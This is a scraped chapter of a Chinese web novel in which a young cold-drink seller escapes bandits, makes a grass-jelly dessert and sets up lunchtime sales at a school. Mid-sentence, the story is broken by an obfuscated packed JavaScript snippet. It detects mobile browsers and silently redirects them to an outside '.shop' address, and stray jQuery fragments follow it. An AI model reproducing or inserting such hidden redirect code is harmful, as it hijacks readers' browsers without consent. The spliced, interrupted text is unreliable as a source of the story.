文趣网 > 其他小说 > 背靠冷饮铺我富甲一方 > 13. 素醒酒冰 汴梁果冻此方卖
    她虽说心思内敛,平日里也是沉稳冷静,可眼下生死攸关,也难以保持镇定。

    眼瞅着身后黑影愈发逼近,她捂住嘴险些惊叫出声来,下意识地迈开腿来,跌跌撞撞地沿着崎岖的山坡跑去。

    可越是着急越是容易出岔子,她步伐紊乱,冒着刺骨晚风胡乱跑着,一不留神被一根木枝给绊了下,左脚的鞋都甩了出去,整个人也因而摇摇晃晃,难以保持平衡,须臾间砰地一声跌倒在地。

    这样一来她心如死灰,一只撑在地上,另一只死命护着那木箱,由于摔得太过结实,身上不免有许多擦伤,可却因极度恐慌反而无法感觉。

    脖子僵硬地转过去,微微抬起头来,看着那一片漆黑之中模糊靠近的匪徒,她那一颗心狂跳不止,血液仿若凝固了般,格外冰冷。

    就在她绝望到只能叹息之时,陡然身后刮起一缕凉风,她眉头皱起,隐隐感觉身后有人来了。

    可不待她把头转回去,一只有劲的手猛地将她整个人拎起,直接就扛在了肩上,在她还没来得及反应之前,带着她飞快地往山下奔去。

    山路草木繁茂,月光难以照及,她被不知从何而来的人扛着,面前暗到伸手不见五指,更是完全看不清背她的人服饰身形,完全判断不了对方是谁。

    因那人速度迅疾,她也着实遭了罪,这一路宛如破风而去般,被凛冽寒风刮得发丝凌乱,好不狼狈。

    好在待到了山脚下,那人终于停了下来,把她小心地放了下来,让她有了喘息的余地。

    林雪汀想要看一眼对方长相,只可惜对方始终背着身子,不给她一睹真容的机会,片刻后他甩了甩袖子,迈开腿来,似是准备直接就要走,临行前仅仅跟了她说了句:“你也快走,歹人不会轻易放过你。”

    说罢他大步流星地朝前走去,不多时就消失在了林雪汀的视线里。她并未第一时间起身就走,而是呆滞地望着他离去的方向,神情恍惚,总觉得此人的声音有些许熟悉,却又说不上来是在何处听过。

    思索了一小下,她还是听从那人所言,不敢多待在这个是非之地,奔着早些回去还能避难的心理,也顾不上再猜测那人身份,踉踉跄跄地跑在泥泞的小道上。

    大风萧瑟,给人添上些许风霜,她累得浑身酸痛,也不知过了多久,终是在一片夜深人静里抵达了县城门口。

    走在空旷的街道旁,她抚着起伏不定的胸口,步伐稍微放缓了一些,可忽然面前的街道多了不少火光,她神情一变,意识到自己还是来晚了,那伙匪徒恐怕已经先她一步赶到了城里。

    林雪汀咬紧牙关,手指用力地抠着掌心,压制住内心再度涌起的恐惧,飞也似地跑到了处隐蔽的小巷内。

    她探出头来,小心地向外望去,果然看见了不少全副武装的匪徒走在街头,气势汹汹地朝着一间茶楼而去。

    可不等他们靠近,便有惊变骤然发生,静谧的茶楼兀然响起刺耳的声音,一只只弓弩从木窗里伸了出来,直直地指向了那些匪徒的身影。

    一瞬间数以百计的箭矢脱弦而出,朝着底下飞速射来,血水自他们身上飞溅而出,一个个都不甘地倒了下来,咽了气。

    巷子口的林雪汀捂紧了嘴巴,眼睫毛不住颤抖,神情比先前还要震惊,她看到那一个个木窗后都是县城里的官兵,剑拔弩张,好不骇人。

    虽说如此也是解了她的心头大患,可她还是无法放松下来,只因她怎么也想不通,官兵是如何提前得到消息,竟特意在匪徒们的目标处布置了陷阱,守株待兔般等着他们自投罗网。

    这就算有她这样的人报官也绝无可能,除非是有在匪徒那里的内应通风报信,才能如此精准地设下了陷阱。

    她忍不住多推测寻思了下,若说匪徒里谁常跑到渡平,她第一时间在脑海里想到的人,就是那个在菜馆茶肆多次遇见的女子。

    心里做出这样的猜测后,她却也没法付诸什么行动来验证,轻叹了一声后,她闭目开始凝神。等了许久确认楼里官兵都走了,这才小跑着回了家,此时家里人都已上床入睡,她蹑手蹑脚地走进客房,躺在床榻上不一会儿也入了梦乡。

    翌日醒来以后,她紧张地出了门走了一圈,见外面风平浪静,好似没有任何事发生,甚至那处茶楼外也毫无血迹,昨夜的惨状宛如梦境般虚幻。

    她并没多想,只当是官府处理得周密,本来还忧心忡忡的心情,此刻也放松许多。她放心地回了家里头,歇息一下后,就从客房里出来准备忙活今日的事务。

    手里提着一个装满水的木盆,林雪汀大步走进了灶房,干练地将木盆往下倾,把泡好的大米连同着水一一倒进几个石罐里。

    倒完之后,她稍微停顿了下,深吸了一口气后,拿着根粗石杵用力研磨起来,把早已泡软的粟米磨成浆糊。林雪汀细致地观察了一番后,见罐子里的米都已被磨碎,并无任何例外。

    她甚是高兴地点了点头,嘴角稍稍扬起,擦拭了一下手上的汗渍,便放下撸起的袖子,走往大门之外。

    这一趟出门,她是为了买一样食材,只可惜家附近的几家杂货铺,她问了又问,都没人有卖的。无奈之下,林雪汀只能拖着还没缓过来的身子,吭哧吭哧地跑到最为繁华的宁熙街,在那边的小摊寻了又寻,终于买到了想要的食材。

    拎着一小包东西,刚一推门走入院子,坐在石阶上洗着菜的孙芷便喊住了她,不解地问道:“汀儿,你这买的是何金贵物啊,把你累成这样了都?”

    林雪汀举起袋子,给她看了看后,道:“阿母,我特意买来的石花菜,费了我好大的力气,才在宁熙街找到有卖的。”

    “这……这菜好吃吗?要阿母帮你洗一洗后去做吗?”孙芷关切地问道。

    “不用您费心了,”林雪汀乖巧地笑了笑,提着袋子就走向灶房,“我这自有妙用,阿母您就等会儿尝尝我的手艺便好。”

    说罢她走回灶房,看了眼罐子里已成糊状的米浆,把石花菜放在了案板上,拿丝帕擦了擦脏兮兮的手后,从怀中掏出了一本册子,里面写着一行行密密麻麻的字。那是她今早在异度空间里买来的新配方,对方是一个说是在什么汴梁经商的小女娘,这小小的一本册子要了她不少山货来换。

    照着上面的记载,她按部就班地开始鼓捣起来,忙活了好一会儿,汗滴止不住地在鬓边流淌。

    门突然被推了开来,小悦儿虎虎地冲了过来,看着她罐子里摆弄的糊状物,疑惑地指着问道:“阿姊,你这是在做什么,莫不是又有新的宝贝要出去卖?”

    “小悦儿可真聪颖,”林雪汀回头朝她笑着,解释道,“我这是在做一道叫素醒酒冰的美食,味道定然不会差,只不过做起来太过繁琐,一时半会儿倒也不会考虑去卖,但可以做出来送人尝尝。”

    “好呀!”小悦儿雀跃地叫着,“下午我回学堂,可不可以也带些给我的同窗们尝尝,她们上次尝了阿姊的黎檬水都叫好呢!”

    林雪汀宠溺地摸了摸她的头,点着头道:“当然可以啊!对了悦儿,你是在那个学堂上课啊!”

    小悦儿毫不迟疑地说道:“景安街的那个小学堂!”

    闻言,林雪汀微微一怔,随即笑着说道:“好啊,那不如今日阿姊送你过去,我还没进过你们这儿的学堂,今日还能沾沾你的光。”

    她边说着,心里已然有了个主意成型,这次若能入学堂,兴许又能有商机可以寻得。

    “那太好了!阿姊一起去!”

    小悦儿高兴地笑着,蹦蹦跳跳地跑出了灶房,跑去和孙芸分享起心里的喜悦而去。

    快到晌午夕阳明媚,温暖如春,诸多愁闷皆无影。

    大功告成之后,林雪汀便把已然做好的素醒酒冰装入木箱里,招了招手,带上笑意盎然的小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579815|204213||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    悦儿,一起踏上去往学堂的路途。

    徐徐微风拂过,带着令人惬意的湿气,她们心情格外舒畅,一路上有着说不完的话,谈笑间熟悉的学堂大门便出现在了眼前。

    这次有了小悦儿带路,她总算是能正当地进去看一眼这处学府,内心早就有的计划也有了一丝可能。

    借着送孩童去学室的幌子,她得以入了学堂之内,走在古朴典雅的走廊里,耳边时不时传来一阵诵读声,二人都识趣地压低了声来。她们保持着沉默,快步朝前走着。

    她本着学府严肃氛围,心里难免有些沉重,可却不曾想在拐弯的时候,迎面竟瞧见角落里站着个少年,手里正拿着个纸包好的烤鸡,吃得正起劲,顿时有些瞠目结舌。

    她愣了片刻,才反应过来此人是先前那个学佐,可这更让她感觉讶异。而对方却也注意到了她们,走上前来朝她微笑着,把鸡腿撕下来递给她,道:“挺香的,你也来一口。”

    林雪汀赶忙摇起头来,道:“不必了,多谢你的好意了。”

    学佐也不恼,轻笑着蹲下身来,注视着一边的小悦儿,道:“悦儿,你来了?这位也是你的亲人?”

    小悦儿拉着林雪汀的袖子,笑容洋溢在脸上,道:“叶学佐,她是我的阿姊,是不是很漂亮啊!”

    “是啊,”学佐弯着眼,笑盈盈地点着头,看向林雪汀,郑重地说道,“我是悦儿堂上的学佐,名叫叶信孟,不知女公子名讳?”

    “我叫林雪汀,叶学佐你我之前也见过几面了,没想到你还是我阿妹的学佐,当真是有缘分。”林雪汀客气地躬身道,随即指了指学室的方向,示意一起过去。

    叶信孟颔首,草草地包好烤鸡,直起身来,跟上她们一起朝前走。他们很是一见如故,路上没多久就打开了话匣子。

    林雪汀半是刻意地顺着他的话,哄得他眉眼弯弯,还从木箱里取了碗给他道:“叶学佐,多谢你一直照顾我阿妹,还两次关照我的生意,这碗我新做的素醒酒冰给你尝尝。”

    叶信孟接过来,毫不怀疑地灌了一大口,咀嚼着这滑腻腻的口感,眼睛都舒服得眯成了一条缝。见他很是欣喜,林雪汀也抓住机会,把心里想说的跟他讲道:“学佐,有件事我想请你帮下可好?”

    “尽管说。”叶信孟摆摆手,示意她无需多虑。

    “是这样的,你也知道我平日申时会来学堂外摆摊,但大伙午膳用完也都想来一碗,可惜我却很难进来。”林雪汀怅然地叹着气。

    “这毕竟是规定,我也破不了例放你随意进出啊!”叶信孟听她说起这个,很是为难地垂首道。

    林雪汀摇着头,道:“并非想进来,我是在想可不可以请你早上帮我带上这些饮子,午膳时分给那些学生。”

    “分给学生?”叶信孟脱口而出,“分给哪些啊?总不至于全都给?”

    “你听我讲,”林雪汀耐心地说道,“他们只需在前日申时跟我预订,我会记下来,次日给你一份名单,你按照上面名字发就好,钱你代我先收着,到时候你抽三成可好?”

    “行啊,”叶信孟拊掌道,“我看林娘子很有生意头脑,这合作我做定了,日后说不准你发迹了,我也能分杯羹。”

    林雪汀不好意思地笑了笑,一边的小悦儿嘻嘻地在一边符合,说学佐所言太对了,阿姊定然能出人头地,更是将她给说得脸红扑扑的。

    恰在他们快到学室之外,忽然有不少学生路过,其中几人认出来林雪汀,嬉闹着过来搭讪:“女公子,今日还卖冰粉吗?真没想到你会进学堂里面,这下我们不就能早些尝到这爽口的滋味了嘛!”

    不等林雪汀说话,叶学佐板起脸来,挥手驱赶他们:“快些做自己的事去,该学习的时候别想着偷奸耍滑!”

    闻言,众人才悻悻地转身离开,有几人还是不忘跟林雪汀招手,让她记得等会儿卖杯给他们。